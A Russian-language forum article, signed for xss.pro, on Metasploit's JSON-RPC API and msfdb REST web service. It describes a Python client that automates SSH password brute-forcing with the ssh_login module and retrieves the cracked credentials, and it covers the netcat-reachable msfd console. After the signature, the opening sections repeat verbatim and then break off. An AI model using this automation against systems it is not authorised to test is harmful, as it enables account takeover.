Введение
Всех привествую. В прошлой статье мы с вами посмотрели как взаимодействовать с фреймворком при помощи RPC-api. Однако, как вы заметили, это апи не лишено нескольких существенных минусов, которые чуть усложняют работу с ним. Но, так как функция удаленного управления через апи для такого фреймворка это вещь очень полезная, логическое ее развитие и улучшение было лишь вопросом времени.
Поэтому, в пятой версии фреймворка разработчики добавили возможность взаимодействовать с фреймворком через JSON-API, которое в отличие от своего предшественника имеет ряд приемуществ. Но и этим дело не ограничилось – в последних версиях metasploit повился веб-сервис для базы данных, который предоставляет в том числе API для взаимодействия со всеми сущностями в базе данных.
Именно об этих двух api я и постараюсь рассказать в этой статье.
Messagepack-RPC-api VS JSON-RPC-api
Так как мы с вами уже знакомы с Messagepack-RPC-api метасплоита (а если нет – рекомендую посмотреть предыдущую статью цикла), начинать с полного нуля нам с вами не придется. Несмотря на то, что в использовании апи довольно сильно различаются, общая идея остается примерно одинаковой. Поэтому, прежде чем приступать, предлагаю определиться – что у этих версий общего, а чем они различаются.
Схожие черты:
Несмотря на большое количество различий, общая суть апи осталась неизменной. Под капотом, обе версии используют одинаковые методы для работы с ядром фреймоврка, если вы решите покопаться в файлах фреймворка, вы это увидите. Отличаются лишь интерфейсы управления и способ взаимодействия. А принцип тот же – отправляем запрос на один определнный url, в теле запроса указываем команду (метод), при необходимости доавляем параметры команды, в ответ получаем результат либо статус операции. Забегая вперед, многие группы и методы, которые мы использовали в обычном RPC-api точно так же работают и здесь. Но, способ работы с этими методами очень сильно отличается и стал куда более удобным. Об этом и поговорим далее
Различия:
1. Первое существенно различие апи – стандартизация. Как вы помните, обычное RPC-api было собранно видимо по собственному виденью разработчиков и не имело общего формата ответов, который из которых для каждого запроса, был разным, не имеющий общего шаблона. В случае же с JSON-API разработчики взяли за основу стандарт JSON-API-2.0 про который вы можете почитать тут. А это, в свою чередь, значит что запросы теперь стандартизированы, ответы тоже, а так же используются HTTP-коды для ответов (не всегда, но разработчики местами постарались), и прочие вещи, которые здорово упрощают разработку клиентов под эти API.
2. Формат запросов и ответов. Как вы помните, в обычном RPC, процесс отправки запроса выглядел так – сначала формируем строку, которая в большинстве случаев содержит массив с элементами в виде команды, токена доступа, и параметрами команды. Далее заворачиваем все это дело в messagepack, и кладем в тело запроса, в хэдере которого указываем что это messagepack. Далее получаем ответ, который так же запакован в mesaagepack, и который еще надо распаковать и привести в удобночитаемый вид. В случае же c JSON-API все это сильно упростилось, сделав разработчикам клиентов жизнь куда проще. Здесь просто формируется запрос, в тело которого кладется не запакованный массив, а обычная json-структура определнного вида (какого именно далее в статье), и ответ так же приходит определенного вида. Так как json является очень распостраненным способом предачи данных в http-протокле, работа с ним не вызовет никаких проблем у любого начинающего кодера в любом из популярных язков программирования.
3. Авторизация. Еще одно существенное отличие, которое появилось в этой версии апи, это авторизация через bearer токен. Это довольно распостраненная практика при работе с апи. Но, забегая вперед, важным моментом так же является то, что токен этот будет общим для этого апи, и того что используется c msfdb. Это достигается за счет того, что пользователь не просто указывается при запуске сервиса, а создается в бд, и на основе его данных создается один токен для этого пользователя, с помощью которого он и может получить доступ к функциям апи. Таким образом мы получаем общую систему авторизации для как минимум двух сервисов.
Несмотря на то, что json-rpc-api имеет ряд очевидных приемуществ перед обычным rpc-api, вам следует понимать, что это апи еще не доработано до конца и разработчики активно его дорабатывают. А это значит, что от версии к версии могут появляться различные изменения, а так же вы можете столкнуться с тем, что какие-то механизмы работают не так как ожидалось. Помимо этого, большим минусом на данный момент является отсутствие внятной документации, описывающей все методы апи, порядок и способ взаимодействия с ним. Максимум что вы найдете в документации метасплойта – это несколько примеров использования основных методов через curl.
Но, несмотря на все эти минусы, это апи может быть очень полезным. Далее мы в этом и убедимся ,а пока давайте посмотрим что оно вообще из себя представляет.
Описание JSON-RPC-API и его методов
После того, как мы с вами запустили сервер, мы можем приступать к написанию кода. Однако, прежде чем это делать нам желательно понимать с чем именно мы имеем дело в теории. Поэтому, давайте сначала посмотрим на само апи:
Первое что нам нужно знать – на какой url отправлять запросы. В нашем случае это будет
http://<ip>:<port>/api/v1/json-rpc
Второй момент – струкутра запросов и ответов. Так как за основу взят стандарт JSON-RPC второй версии, структура запросов и ответов будет выглядеть согласно стандарту.
Это всегда будет POST-запрос, со следующими хэдерами
'Content-Type: application/json' – показывающий с чем мы работаем
'Authorization: Bearer <token>' - для авторизации
Тело запроса будет вот таким:
Мы передаем
1. Версию используемого json-rpc (всегда будет 2.0).
2. Метод, который хотим вызывать.
3. Свой айдишник, который будет служить дополнительным идентификатором запросов.
4. Параметры для вызываемого метода. Если таковых не требуется, то отправляем пустой массив.
Ответ будет выглядеть вот так.
Если же что-то пойдет не так, то ответ не особо изменится – ошибка и ее описание придется в “result”.
В результате мы получаем довольно удобную станартизированную систему общения с сервером, в которой довольно просто отправлять запросы, расшифровывать ответы, и что не менее важно - отлавливать ошибки.
И что еще следует обязательно упомянуть – это то, что количество методов, поддерживаемых json_rpc_api крупнее, чем в случае с обычным RPC. Часть очень полезных групп и методов часто не работают как положено с апи, работающим через messagepack. Теперь о них чуть подробнее:
Если вы хотя-бы пробовали работать с обычным rpc-api (или читали предыдущю статью), то наверняка зметили что в официальной документации не упоминаются методы для работы с базой данных и всего что с ней связано. А это в свою очередь – воркспейсы, списки хостов, данные по ним, уязвимости, заметки и т.д. Эти данные конечно можно получить посредством работы с консолью, или, не дай бог, прямой работы с бд через SQL-запросы. Но на самом деле, json_rpc представляет группу методов, которые позволяют получить доступ к этому весьма полезному функционалу. К примеру есть методы db.workspaces для получения списка рабочих областей, или db.add_workspace для добавления и db.set_workspace для выбора рабочей области, с которой будет работать апи.
В официальной документации, в списке RPC методов они почему-то не указаны. Да и если вы попробуете использовать их через messagepack RPC, то скорее всего вы столкнетесь с проблемами. Часто будет приходить либо пустой ответ, либо еще что-то пойдет не так, как ожидается. То есть, работать с этим функционалом через RPC та еще задачка. Но в случае с json-RPC, все это работает как и полагается, правда разбираться как именно “полагается” придется методом тыка, из за отсуствия на данный момент внятного описания в документаци.
Webservice для msfdb
Еще одна очень крутая, по моему мнению, вещь появилась во фреймворке не так давно. Если вы пользовались фреймворком примерно год-два назад, вы возможно видели что при запуске команд связанных с msfdb появлялось предложение запустить веб-сервис. В данный момент этот “выключатель” убрали из стандартного вывода, но не убрали совсем. А ведь этот сервис представляет очень полезный функционал для автоматизации и удаленной работы с фреймворком. О нем я сейчас и постараюсь рассказать.
Этот веб-сервис представляет собой апи, которое позволяет работать со всем, что связано с бд. Это воркспейсы, хосты, полученные данные и все остальное. Само апи сделано по стандарту REST, а значит сервис довольно прост в освоении. Так же, сервис предоставляет небольшой веб-интерфейс, который позволяет произвести авторизацию для подключения к апи, а так же, что немаловажно – документацию swagger, которая позволяет подробно изучить всю работу апи и даже опробовать запросы, что называется “не отходя от кассы”
Для тех кто возможно не в курсе чем REST-api отличается от тех, которые я описывал ранее поясню – это апи используется не для управления фреймворком, в отличие от RPC, а для работы с данными, которые хранятся в бд метасплоита. В отличие от апи управления, где мы отправляем команду в теле запроса всегда на один url, в данном случае для каждой определннйо сущности бд используется отдельный эндпоинт.
К примеру для работы с воркспейсами будет использоваться
http://<msf-server>/api/v1/workspaces
а для работы с заметками уже
http://<msf-server>/api/v1/notes
Так же, большую роль играет тип HTTP-запроса, который отправляется на сервер. С данными мы можем совершать четыре основных действия – создавать, получать, изменять и удалять. Такая модель взаимодействия называется CRUD (create read update delete) и позволяет в зависимости от типа зпроса выполнять определенное действие. Например, если вы отправите GET-запрос на url http://<msf-server>/api/v1/workspaces сервер вернет вам список рабочих областей, а если вы отправите DELETE запрос на точно такой же эндпоинт, сервер удалит выбранную рабочую область. В теле запроса указываются дополнительные данные, необходимые для выполнения запроса (например параметры для создания рабочей области в случае с POST-запросом или айдишники областей, которые надо удалить в случае с DELETE). А дабы вы не запутались в том, какие запросы существуют, что в них надо указывать и как вообще все это работает, разработчики прикрутили к сервису swagger, который по сути представляет собой интерактивную документацию, которая позволяет не только посмотреть все виды запросов и ответов на них, но и попробовать выполнить их прямо здесь и сейчас:
Предварительная подготовка
Перед тем как начнем – важный момент. Для корректной работы со всем, о чем идет речь в этой статье вам понадобится последняя версия метасплоит. На момент написания статьи это
6.4.28-dev
Важно: версии, выпущеные ранее, скорее всего не подойдут. Если вы попытаетесь провернуть примеры отсюда на версии из репов, то скорее всего столкнетесь с тем, что работать это все будет не так как ожидалось. Понятно что это все актуально на момент написания статьи и возможно скоро во всех в репозиториях появится именно то что нужно, но для корректной работы я всетаки рекомендую вам установить свежую версию используя документацию разработчиков metasploit. Самый простой способ сделать это – это ввести команду:
Во избежание ошибок, перед установкой свежей версии лучше удалите старую во избежание конфликтов. Это к слову не единственный способ установить последнюю версию метасплоит, об остальных вы можете почитать на их сайте.
Запуск Серверов
Итак, после того как мы подготовили ПО и поставили последнюю версию, нам нужно запустить апихи. Давайте по очереди запустим их:
Инициализируем БД
Первое, что обязательно нужно сделать перед основной работой с бд – это инциализировать базу данных. В последних версиях метасплоит разработчики несколько пересмотрели свой подход и теперь сервис msfdb не требует рут-привелегий в системе для работы. Это присходит потому что теперь большая часть нужных данных хранится в папке .msf4 и для того чтобы все это создать запускаем команду
Созданные в процессе данные обязательно будут нужны двум нашим сервисам для их работы, так что в первую очередь выполняем именно это инциализацию
Запуск webservice
Если все прошло успешно, можем двигаться дальше. Начнем мы с rest-api для работы с БД. Начинать нужно именно с него, так как через него мы зададим данные, которые потом будут использоваться для входа и в другом сервисе. Итак, нам нужно инциализировать уже не бд, а компонент веб-сервис. Делается это так же через команду msfdb init, но вам нужно к команде работы с бд добавить флаг --component webservice, а так же добавляем флаг –no-ssl для того чтобы отключить ssl. Так же, при необходимости вы можете задать адрес (-a) и порт (-p), например если вам нужен доступ извне. В итоге получаем вот такую команду:
Однако, если мы попытаемся сразу выполнить эту команду – получим ошибку:
Как видим, сервис ругается на отсутсвие сертификатов. Даже несмотря на то что мы решили не использовать ssl они ему необходимы. Вообще, веб-сервис вроде как должен сам их сгенерировать, как мы видим из последней строки ошибки, однако эта фишка фреймворка еще видимо допиливается, а значит, если не может msfdb – сделаем сами. Для этого переходим в директорию .msf4 и выполняем вот такую команду:
В процессе у вас запросят создать пароль, а так же запросят информацию для сертификата (там можно ничего не указывать и просто прожать Enter несколько раз)
По результатам у вас в директории появятся два необходимых сервису файла:
указать логин и пароль, которые будут использоваться для входа в систему. После того как вы это сделаете вы увидите уведомление о готовности сервиса, который уже автоматически запустился:
Сервис выведет нам логин и пароль, а так же токен доступа к апи, на основе наших данных, заботливо предупредив чтобы мы их хранили в секрете.
Так же, сервис последней строкой выведет нам url, по которому мы может эти логин и пароль применить. Давайте перейдем туда:
Как видим, нам тут предлагают сначала авторизоваться. Кликнув по ссылке, мы увидим страницу авторизации:
Если мы вобьем в поля логи и пароль от сервиса, то сервис покажет нам наш токен доступа, который мы можем использовать для доступа к api.
А теперь самое интересное – в шапке вы видите надпись API Documentation. Если вы кликните по ней, то попадете вот на такую страницу
Это и есть swagger-документация. Тут вы можете посмотреть запросы, а так же опробовать их. Для того чтобы “потыкать” апи, предварительно авторизуйтесь, нажав кнопку authorize справа и введя туда только что выданый токен.
Для остановки сервиса можно использовать такую команду:
Ну и для того чтобы снова запустить - то же самое, что и при инициализации, но меняем init на start. При простом старте, при условии что все инициализировано, вывод будет уже не такой информативный:
Запуск json-rpc-сервера
После того как мы запустили msfdb-вебсервис, можно переходить и к новому json-rpc api. Как и с предыдущей версией апи-сервера, есть несколько способов стартануть json-rpc сервер. Мы же будем использовать один, который к слову, я почему-то не увидел в документации, хотя он самый (имхо) удобный. Помните, когда мы запускали команду msfrpcd в предыдущей статье, там было несколько пунктов про json-api ?
Вот здесь-то они нам и пригодятся. А еще пригодятся ssl-сертификаты которые мы сгенерировали когда запускали веб-сервис для бд. Как видим из ключей -k и -c дефолтный путь к этим файлам как раз тот, по которому мы их и сгенерировали. Так что никаких дополнительных действий нам делать не потребуется. Для запуска используем команду:
где:
-j – запускает JSON-RPC сервер
-S – отключает SSL. Я по прежнему не хочу его использовать, дабы не загружать код лишний раз.
-f – Запускает сервер в форграунде, дабы мы видели все что происходит
В результате получаем запущенный JSON-RPC:
В целом на этом наш сервер готов к работе.
Однако, давайте посмотрим на еще один интересный момент. Если мы попробуем перейти на тот же url для входа в акканут что и в веб-сервисе БД, мы увидим очень знакомую картину:
Здесь мы так же можем авторизоваться и получить токен доступа, который будет идентичен тому, что используется в вебсервисе. То есть, один токен для двух разных сервисов, что получается благодаря тому что данные пользователя и его токен теперь хранятся в бд. Это сделано для того, чтобы вы все равно могли получить авторизованный доступ к json-rpc-api, даже если вам не нужен работающий веб-сервис. Однако, инициализацию вебсервиса предварительно выполнить все-таки придется.
Ну и самое разочаровающее отличие заключатеся в том, что если вы попробуете посмотреть документацию кликнув по кнопке в шапке, сервер скажет что вы ошиблись и документации у него для вас нет:
Очень хочется верить что в будущем эта страница пустовать не будет и мы увидим здесь такую-же удобную документацию как и в случае с веб-сервисом, однако на данный момент имеем что имеем. И так как сервисы мы с вами стартанули, давайте двигать дальше.
Пишем клиент
Постановка задач
Прежде чем приступать к написанию кода, давайте определимся с тем, что именно наш код будет делать. Дабы не заниматься самоповторами, так как приличное количество методов были приведены уже в предыдущей статье, мы поставим маленько другие задачи. В первую очередь я хочу показать как работать с методами для работы с бд и всего что с ней связано.
Поэтому суть скрипта в этот раз предлагаю следующую – мы автоматизируем брутфорс ssh через metasploit, сохранив найденные данные в рабочую область. Для этого я заранее подготовил тачку с доступом по ssh.
Для реализации того что мы хотим, мы задействуем сразу оба api. Учитывая что у этих апи общий функционал авторизации и они по сути дополняют друг друга – отличный подход, по моему мнению, совмещать эти два апи, распределив задачи таким образом, чтобы за всю общую работу с бд отвечал rest, а за выполнение команд – json-rpc.
Таким образом у нас получится примерно вот такой алгоритм скрипта:
1. Авторизируемся, получаем токен доступа (REST) – Первое что нам нужно сделать – получить токен доступа. Проще всего это сделать через Rest-api, а так как токен доступа будет общий, мы используем его же, для авторизации и в json-rpc.
2. Создаем рабочую область и выбираем ее как активную (JSON-RPC) – Далее, чтобы все собранные данные сохранились в бд метасплоит, мы создадим отдельную рабочую область и выберем ее. Эта задача уже для json-rpc
3. Запускаем модуль для перебора ssh (JSON-RPC) – далее нам нужно запустить сам модуль и убедиться что он отработал. Если все пройдет успешно, полученные данные сохранятся в бд метасплоита и мы сможем просмотреть их. (в msfconsole для этого используется команда creds)
4. Получаем логин и пароль от ssh из базы данных (REST) – как и было сказано ранее, сбрученные логи и пароль в случае успеха сохранятся в базу. На этом этапе мы их вытащим из базы через rest-api и выведем на экран
Скрипт получится небольшой и никакой работы с сессиями и метерпретер тут не будет, но об этом мы уже говорили в предыдущей статье. Здесь же сделаем упор на бд, сохранение и получение данных. Давайте начнем.
Формируем класс клиента json-rpc
Начнем мы по классике – сформируем класс для json-rpc, в который положим все методы и поля для взаимодествия с апи, сведя каждый вызов в основном файле к вызову одной функции.
Для этого импортируем нужные библиотеки
И создаем сам класс:
В самом классе, первым делом зададим метод инициализации, в который мы при создании обьекта передадим необходимые параметры: url, id, и токен авторизации
И сразу же, как и в предыдущей статье сформируем метод для отправки запросов. Для отправки любого запроса нам потребуется метод и его параметры, поэтому задаем их дял передачи в функцию. Но, так как параметры требуются не всегда – задаем дефолтное значение для переменной параметров – пустой массив. В случае есили мы хотим вызывать метод, который не требует параметров, мы должны передать пустой массив в теле запроса там, где должны быть параметры:
Сам метод не делает ничего сложного – формирует хедеры, в том числе для авторизации, который генерирован на основе данных, которые были переданы при создании обьекта.
Далее формируем json-тело запроса, которое тоже имеет общий шаблон. Передаем туда id, метод и параметры
И отправляем запрос на заданный url
Ну и после получения ответа, проверяем соджержит ли тело ответа структуру с ключом “error”. Если она пристуствует – то выводим полученную ошибку и возвращаем пустую структуру.
Если же нет – значит все в порядке и мы просто возвращаем полученную json-структуру
На этом пока отановимся – костяк для отправки готов, дале емы можем реализовать почти любой метод в пару строк кода. Далее сформируем следующий класс
Формируем класс клиента rest-api
По схожей схеме создаем и второй класс клиента – уже под rest api. Однако, тут нельзя выделить общий шаблон для отправки запросов, так как url, тип запроса и его тело будут отличаться для каждого конкретного случая.
Поэтому мы просто задаем функцию инициализации – передаем туда ту часть url, которая будет оставаться неизменной, а так же готовим поле для токена, куда его и запишем при получении:
Получаем токен авторизации через rest-api
Далее нам нужно получить токен авторизации. Делать мы это будем через rest-api. Поэтому в класс клиента добавляем вот такую функцию
Она отправляет запрос на эндпоинт url+auth/generate-token, передав в теле логин и пароль, которые были переданы в функцию. В результате нам придет структура, где под ключом “data” мы сможем увидеть еще одну структуру, в которой и будет лежать наш токен в поле “token” Первым делом мы записываем его в переменную url класса, но не забываем что он нам еще понадобится для создания класса json_rpc, поэтому еще вернем полученную структуру, а точнее ее часть – структуру под ключом “data”, откуда мы при желании сможем вывести токен.
(Учтите что обращение на этот url генерирует новый токен, после чего другие предыдущие токены становятся недействительны.)
После этого, можем начинать писать код в нашем основном файле. Для этого, помимо того что импортируем два наших класса клиентов, мы задаем переменные которые нам потом понадобятся. Здесь задаем url для наших классов клиентов, так же подготавливаем переменную для токена, переменную с именем нашей будущей рабочей области и задаем прямо здесь айпишник нашей цели. С флагами в этот раз заморачиваться не будем
После этого инициализируем наш rest-клиент и и вызываем у него функцию авторизации. Полученный токен записываем в переменную
Ну и далее с использованием этой переменной уже создаем обьект класса json_rpc клиента.
Проверяем статус ДБ
Теперь самое время проверить работет ли наш RPC-client. C REST мы уже все выяснили, так как через него мы авторизовались, но давайте попробуем вызывать что-нибудь через json-rpc. Для этого предлагаю вызывать метод db.status, который вернет информацию о текущей базе данных.
Для этого в RPC-клиенте прописываем вот такую функцию
И вызываем ее в основном файле, выведя результат, а точнее вытащив из ответа имя текущей БД. Результат выведем в консоль для наглядности:
Теперь, если мы запустим скрипт, в терминале мы увидим примерно вот такое вот:
Это говорит что у нас все получилось, а значит наш код готов к более серьезным задачам. Давайте к ним и перейдем.
Создаем и выбираем workspace
Далее у нас по плану создание воркспейса и выбор его в активные. За это отвечают два метода RPC – db.add_workspace и db.set_workspace. Так же, мы используем метод db.current_workspace, который вернет нам текущую рабочую область, для того чтобы убедиться что все отработало как надо.
Для этого пишем три метода в классе RPC клиента:
И далее вызываем их в основном файле. Из ответа current_workspace выдергиваем имя текущей рабочей области и выводим его в терминал:
Результат работы скрипта на этом этапе должен быть вот такой:
Как видим рабочую область мы успешно настроили. Теперь можно переходить к запуску модуля.
Запускаем модуль ssh_login
Для того, чтобы реализовать эту часть скрипта нам понадобятся следующие rpc-методы - module.execute и module.results. Давайте добавим их, и посмотрим как мы будем их использовать. Для начала добавляем в код RPC клиента вот такие методы:
Параметры запускаемого модуля мы в этот раз захардкодим прямо в методе, так как запускать никакие другие модули нам не понадобится. Туда мы передаем айпишник цели, указываем что не хотим создавать сессию в случае найденых кредов, а так же передаем путь к файлам с логинами и паролями.
Теперь все необходимое у нас есть – возвращаемся в основной файл чекера. Здесь мы первым делом отправляем команду на запуск модуля, передав туда айпи нашей цели. В ответе мы получим данные, в том числе и uuid, по которому мы сможем отслеживать работу модуля. Выдернем его сразу в отдельную переменную:
Далее нам нужно подождать пока модуль отработает. Но в зависимости от того, сколько у него будет вводных – паролей и логинов, время выполнения может быть абсолютно разным. Модуль может подобрать пароль со второй поптыки, а может со сто второй. Так что наш предыдущий вариант с time.sleep не прокатит. Поэтому сделаем по уму:
Реализуем бесконечный цикл, внутри которого вызываем метод для проверки статуса модуля. Если статус running – то ждем одну секунду и пробуем снова. Если статус окажется completed – значит наш модуль отработал и можно выходить из цикла. А вот любые другие статусы у этого модуля будут означать что что-то пошло не так, так что в таком случае мы просто роняем код с ошибкой. И еще одно – серверу нужно время чтобы при запуске модуля изменить его статус, так что если мы слишком быстро отправим запрос, может прийти статус ready, что будет означать что модуль еще не начал работу. Поэтому перед циклом подождем таки еще одну секунду:
Схема рабочая, но попробовав выполнить мы столкнемся с такой вот проблемой. После выполнения работы модуль вне зависимости от результата вернет вот такой ответ:
Как видим в результе приходит None, а значит мы понятия не имеем успешно отработал наш модуль или нет. Здесь вы долны понять одну вещь – реализация работы с модулями через апи в метасплоите очень сильно зависит от модулей, которые вы будете использовать. Какие-то модули будут вам сообщать все как ожидалось, а какие-то нет и придется продумывать другие варианты для достижения желаемого результата. Но в нашем случае решить проблемку будет довольно просто.
Проверяем результаты работы модуля и вытаскиваем полученные данные из БД
Для того чтобы узнать успешно отработал наш модуль или нет – вспомним что мы не зря выбирали рабочую область. В случае успешной отработки модуля, сбрученные логин и пароль должны сохранится в базу рабочей области. А так как наш скрипт подразумевает создание отдельной рабочей области для работы скрипта, это должны быть единственные креды в рабочей области. Поэтому, напишем метод уже для REST-api, который выдернет данные по кредам из нашей рабочей области. Выглядеть этот метод будет так:
Здесь все по аналогии – дергаем эндпоинт, передав в гет параметре workpspace имя нашей рабочей области.
Далее вернемся в код нашего чекера. В полученном нами результате, под ключом result придет массив с кредами. Однако, так как рабочая область у нас под скрипт, если у скрипта не получится сбрутить креды, мы получим в ответе пустой массив. Таким образом проверяем сначала, не пришел ли пустой массив, и, если нет – выводим полученные данные, выдернув логин и пароль:
Попробуем запустить наш скрипт:
И как видим все работает как надо – модуль отработал и сохранил нам данные для входа на ssh. А если логин и пароль не найдутся, то мы увидим вот такую картину:
Удаленная консоль от метасплоит
Еще одна интересная фишка, о которой бы хотелось сказать в заключении – это консоль, которая позволяет управлять фреймворком удаленно. Это может быть полезно в том случае, если вы к примеру хотите дать кому-то доступ к фреймворку, но настраивать ssh-доступ на тачку этому кому-то вам точно не хочется. К тому же вы не хотите давать “кому-то” возможность взаимодействия с системой. Работает это следующим образом.
В состав фреймворка, помимо всего вышеперечисленного так же входит еще один демон-пакет, и это msfd. Запускается он почти с теми же параметрами что и другие демоны – порт, сервер, но не требует авторизаци через логин/пароль. Заместо этого он позволяет настроить список хостов которым разрешено, или ноборот - запрещено подключатся.
Делается это через флаг -A для разрешенных хостов или через флаг -D для запрещенных. Так же, можно добавить флаг -f для запуска в форграунде
Сам запуск выглядит примерно вот так:
После того как вы увидели что все успешно, можно подключаться к консоли. Никакой специальный клиент для этого не нужен, вы можете использовать обычный netcat:
Как видим мы получаем полноценную консоль metasploit framework, в которой мы можем делать почти все то же самое:
Однако, небольшое отличие заключается в том, что вы не сможете в таком случае использовать команды оболочки (ls, cat, ifconfig, etc) а так же, команду clear.
Заключение:
В заключении хотелось бы сказать следующее – по моему скромному мнению, у api-сервисов metasploit огромный потенциал, так как доведенные до ума они могут предоставить отличную базу для разработки разных вещей для автоматизации и упрощения жизни. В данный момент разрабы работают над сервисами, что довольно легко заметить, если сравнить несколько последних даже не минорных релизов, а просто ревизий. Правки вносятся, дело не стоит на месте, и лично я надеюсь что однажды у фреймворка появится отличное апи, которое будет хорошо документировано и позволит реализовать весь потенциал фреймворка через этот интерфейс. Это открыло бы обширные возможности для разработки разных инструментов на его базе. Однако, интерфейс взаимодействия это одно, но фреймворк модульный, а значит его основа – это все-таки модули, которые и выполняют всю работу. Но, о них мы будем разговаривать уже в следующей статье, а я на этом статью заканчиваю. Спасибо за внимание!
©Urob0ros специально для форума xss.pro
Всех привествую. В прошлой статье мы с вами посмотрели как взаимодействовать с фреймворком при помощи RPC-api. Однако, как вы заметили, это апи не лишено нескольких существенных минусов, которые чуть усложняют работу с ним. Но, так как функция удаленного управления через апи для такого фреймворка это вещь очень полезная, логическое ее развитие и улучшение было лишь вопросом времени.
Поэтому, в пятой версии фреймворка разработчики добавили возможность взаимодействовать с фреймворком через JSON-API, которое в отличие от своего предшественника имеет ряд приемуществ. Но и этим дело не ограничилось – в последних версиях metasploit повился веб-сервис для базы данных, который предоставляет в том числе API для взаимодействия со всеми сущностями в базе данных.
Именно об этих двух api я и постараюсь рассказать в этой статье.
Messagepack-RPC-api VS JSON-RPC-api
Так как мы с вами уже знакомы с Messagepack-RPC-api метасплоита (а если нет – рекомендую посмотреть предыдущую статью цикла), начинать с полного нуля нам с вами не придется. Несмотря на то, что в использовании апи довольно сильно различаются, общая идея остается примерно одинаковой. Поэтому, прежде чем приступать, предлагаю определиться – что у этих версий общего, а чем они различаются.
Схожие черты:
Несмотря на большое количество различий, общая суть апи осталась неизменной. Под капотом, обе версии используют одинаковые методы для работы с ядром фреймоврка, если вы решите покопаться в файлах фреймворка, вы это увидите. Отличаются лишь интерфейсы управления и способ взаимодействия. А принцип тот же – отправляем запрос на один определнный url, в теле запроса указываем команду (метод), при необходимости доавляем параметры команды, в ответ получаем результат либо статус операции. Забегая вперед, многие группы и методы, которые мы использовали в обычном RPC-api точно так же работают и здесь. Но, способ работы с этими методами очень сильно отличается и стал куда более удобным. Об этом и поговорим далее
Различия:
1. Первое существенно различие апи – стандартизация. Как вы помните, обычное RPC-api было собранно видимо по собственному виденью разработчиков и не имело общего формата ответов, который из которых для каждого запроса, был разным, не имеющий общего шаблона. В случае же с JSON-API разработчики взяли за основу стандарт JSON-API-2.0 про который вы можете почитать тут. А это, в свою чередь, значит что запросы теперь стандартизированы, ответы тоже, а так же используются HTTP-коды для ответов (не всегда, но разработчики местами постарались), и прочие вещи, которые здорово упрощают разработку клиентов под эти API.
2. Формат запросов и ответов. Как вы помните, в обычном RPC, процесс отправки запроса выглядел так – сначала формируем строку, которая в большинстве случаев содержит массив с элементами в виде команды, токена доступа, и параметрами команды. Далее заворачиваем все это дело в messagepack, и кладем в тело запроса, в хэдере которого указываем что это messagepack. Далее получаем ответ, который так же запакован в mesaagepack, и который еще надо распаковать и привести в удобночитаемый вид. В случае же c JSON-API все это сильно упростилось, сделав разработчикам клиентов жизнь куда проще. Здесь просто формируется запрос, в тело которого кладется не запакованный массив, а обычная json-структура определнного вида (какого именно далее в статье), и ответ так же приходит определенного вида. Так как json является очень распостраненным способом предачи данных в http-протокле, работа с ним не вызовет никаких проблем у любого начинающего кодера в любом из популярных язков программирования.
3. Авторизация. Еще одно существенное отличие, которое появилось в этой версии апи, это авторизация через bearer токен. Это довольно распостраненная практика при работе с апи. Но, забегая вперед, важным моментом так же является то, что токен этот будет общим для этого апи, и того что используется c msfdb. Это достигается за счет того, что пользователь не просто указывается при запуске сервиса, а создается в бд, и на основе его данных создается один токен для этого пользователя, с помощью которого он и может получить доступ к функциям апи. Таким образом мы получаем общую систему авторизации для как минимум двух сервисов.
Несмотря на то, что json-rpc-api имеет ряд очевидных приемуществ перед обычным rpc-api, вам следует понимать, что это апи еще не доработано до конца и разработчики активно его дорабатывают. А это значит, что от версии к версии могут появляться различные изменения, а так же вы можете столкнуться с тем, что какие-то механизмы работают не так как ожидалось. Помимо этого, большим минусом на данный момент является отсутствие внятной документации, описывающей все методы апи, порядок и способ взаимодействия с ним. Максимум что вы найдете в документации метасплойта – это несколько примеров использования основных методов через curl.
Но, несмотря на все эти минусы, это апи может быть очень полезным. Далее мы в этом и убедимся ,а пока давайте посмотрим что оно вообще из себя представляет.
Описание JSON-RPC-API и его методов
После того, как мы с вами запустили сервер, мы можем приступать к написанию кода. Однако, прежде чем это делать нам желательно понимать с чем именно мы имеем дело в теории. Поэтому, давайте сначала посмотрим на само апи:
Первое что нам нужно знать – на какой url отправлять запросы. В нашем случае это будет
http://<ip>:<port>/api/v1/json-rpc
Второй момент – струкутра запросов и ответов. Так как за основу взят стандарт JSON-RPC второй версии, структура запросов и ответов будет выглядеть согласно стандарту.
Это всегда будет POST-запрос, со следующими хэдерами
'Content-Type: application/json' – показывающий с чем мы работаем
'Authorization: Bearer <token>' - для авторизации
Тело запроса будет вот таким:
JSON:
{
"jsonrpc": "2.0",
"method": "my.method",
"id": 1,
"params": []
}
1. Версию используемого json-rpc (всегда будет 2.0).
2. Метод, который хотим вызывать.
3. Свой айдишник, который будет служить дополнительным идентификатором запросов.
4. Параметры для вызываемого метода. Если таковых не требуется, то отправляем пустой массив.
Ответ будет выглядеть вот так.
JSON:
{
"jsonrpc": "2.0",
"result": {<data>},
"id": 1
}
Если же что-то пойдет не так, то ответ не особо изменится – ошибка и ее описание придется в “result”.
В результате мы получаем довольно удобную станартизированную систему общения с сервером, в которой довольно просто отправлять запросы, расшифровывать ответы, и что не менее важно - отлавливать ошибки.
И что еще следует обязательно упомянуть – это то, что количество методов, поддерживаемых json_rpc_api крупнее, чем в случае с обычным RPC. Часть очень полезных групп и методов часто не работают как положено с апи, работающим через messagepack. Теперь о них чуть подробнее:
Если вы хотя-бы пробовали работать с обычным rpc-api (или читали предыдущю статью), то наверняка зметили что в официальной документации не упоминаются методы для работы с базой данных и всего что с ней связано. А это в свою очередь – воркспейсы, списки хостов, данные по ним, уязвимости, заметки и т.д. Эти данные конечно можно получить посредством работы с консолью, или, не дай бог, прямой работы с бд через SQL-запросы. Но на самом деле, json_rpc представляет группу методов, которые позволяют получить доступ к этому весьма полезному функционалу. К примеру есть методы db.workspaces для получения списка рабочих областей, или db.add_workspace для добавления и db.set_workspace для выбора рабочей области, с которой будет работать апи.
В официальной документации, в списке RPC методов они почему-то не указаны. Да и если вы попробуете использовать их через messagepack RPC, то скорее всего вы столкнетесь с проблемами. Часто будет приходить либо пустой ответ, либо еще что-то пойдет не так, как ожидается. То есть, работать с этим функционалом через RPC та еще задачка. Но в случае с json-RPC, все это работает как и полагается, правда разбираться как именно “полагается” придется методом тыка, из за отсуствия на данный момент внятного описания в документаци.
Webservice для msfdb
